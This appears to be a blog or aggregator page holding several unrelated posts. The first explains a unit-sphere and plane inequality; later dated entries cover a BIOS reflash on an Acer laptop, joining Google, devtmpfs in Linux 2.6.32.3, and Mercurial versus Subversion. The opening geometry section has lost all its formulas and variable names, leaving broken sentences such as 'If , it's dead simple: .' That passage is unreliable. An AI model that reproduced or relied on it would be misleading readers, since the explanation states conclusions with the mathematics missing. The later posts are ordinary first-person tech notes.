If it helps, visualize it this way. Travel to a point in space . Then, find a point on the unit sphere surrounding defined by (like latitude and longitude). Now, cut all of space in half with a plane passing through and perpendicular to the line between the origin and . Is the point on the unit sphere in the same half of space as the origin?

If , it’s dead simple: . Doesn’t even matter what is.

If and , there’s no effect on the azimuth, so it’s still pretty straightforward: . The accounts for the tilt of the plane, and the accounts for the azimuth.

In the general case where , and thus the azimuth angle relative to the plane’s direction of tilt differs from the absolute azimuth angle, it gets a bit trickier. First, we need the magnitude of for the bit:

Now, for , what we want is , where is the right-handed angle of from the positive -axis. Conceptually, subtracting is like transforming the azimuth angle into a new coordinate system where the plane tilt is back in the - plane (as if and ). We could leave it like this, and have the reader calculate as:

But, with a well-known trigonometric identity we can make it a bit prettier:

More than a few scrap half-pages were harmed during the making of this inequality.

Reflashing a BIOS from Windows

2010-03-06T17:34:23+00:00

Beforing putting debian on an Acer Aspire 1690 that I inherited, I decided to reflash the BIOS to the latest version (the new one dates March 1st 2006 --- whippee!) figuring that would give me the best chance of success in putting this thing to sleep and having it wake up again. I have never had a great deal of luck doing this but one can only hope.

To reflash the BIOS I downloaded a windows bios flash programme from the Acer web site that came with a whole raft of dire warnings but I plunged ahead anyhow. The reflash itself went painlessly complete with a back-up of the old BIOS and a compatibility check so I was reasonably happy that I wouldn't brick my computer but I hadn't reckoned on Windows freexing up solid not letting me shut down the machine. It was working as anice room heater and nightlight but little else. I started to sweat a little when holding down the power button did nothing at all --- this is a BIOS override of the OS and it wasn't doing anything at all!

So I pulled the wall power, flipped it over and pulled the battery. It started just fine from then on. One presumes that Windows had deep tenticles into the BIOS and was expecting different behaviour from the reflashed version, which makes one wonder why write a reflash programme in windows at all? Does this make sense to anyone?

Doing my thing for Google

2010-01-20T05:27:48+00:00

I've done a lot of different software on a lot of different platforms. Today I started doing my thing for Google.

Google does some pretty amazing work and I'm excited that I can be a part of that. I'll also be glad to let go of the hard parts of my consulting business. Even though I won't be consulting through Late Night PC any more I'll keep the site going with more of the same. That includes Drupal, SVG, scripting, server-side stuff and whatever else. It might also mean a little more of the personal and opinion posts that I haven't done much of lately. The site has always been a mix of personal and professional stuff that I make and write about. What I write here remains my opinion and doesn't represent anything official from Google. My blog has always been just what works for me and that's not going to change.

Linux 2.6.32.3 and tmpdevfs

2010-01-07T04:43:01+00:00

Tags:

wuug

So I downloaded the patches to get to 2.6.32.3 from my 2.6.31 set-up and ran make oldconfig --- it gave me the option to run devtmpfs and mount it on /dev before starting /sbin/init. Why not. So a short compile later and a reboot and debian lenny likes devtmpfs. Nice to know.

My Story of Mercurial and Subversion

2009-12-02T20:45:38+00:00

I'm really getting attached to using Mercurial. I've been a Subversion fan for years but when Ben Collins-Sussman (one of the authors of Subversion) mentioned he's been using Mercurial, I took that as a pretty solid endorsement. I'm not saying I'm jumping ship but I definitely have found some of the things I can do with hg to be pretty convenient compared to the way I've been using Subversion. I've used the two for different types of projects though. My subversion repositories have held the code and resources for my websites for a long time. I've also worked on shared C/C++ applications with Jeff and stored our stuff on an SVN server. It's really convenient since it works well across OSes and I have a central server that I can reach from pretty much wherever I want.

Mercurial on the other hand, I first set up to get at current Mozilla source code. Then the Go project code came out and it's in a Mercurial repo too. So I had this handy little hg command ready to go on all my computers. When I put stuff in a Subversion repo, I feel like I should be organized. I think this comes from the way I've set up the SVN server I use the most. Now I get an idea for some project that I want to try out with Go and I write a little code. After that I just go to the command line and do hg init followed by hg commit (roughly). Every machine is a server and a client. If the project turns in to something I want to share I can either share it locally with hg serve or I can send it to a public repo like Google Code by doing hg push.

The sharing step is one place that's easier than Subversion. The way I know to do the same thing with svn is more complex: I have to create the repo and check out a working copy of the code. Of course whatever is in a new repo is just an empty folder so if I've already written some code I have to copy some files around to populate the working copy & check it in.

Subversion is a very mature project and I don't intend to move away from it. But Mercurial has made me more relaxed about creating a repo so I can just start coding - with revision control.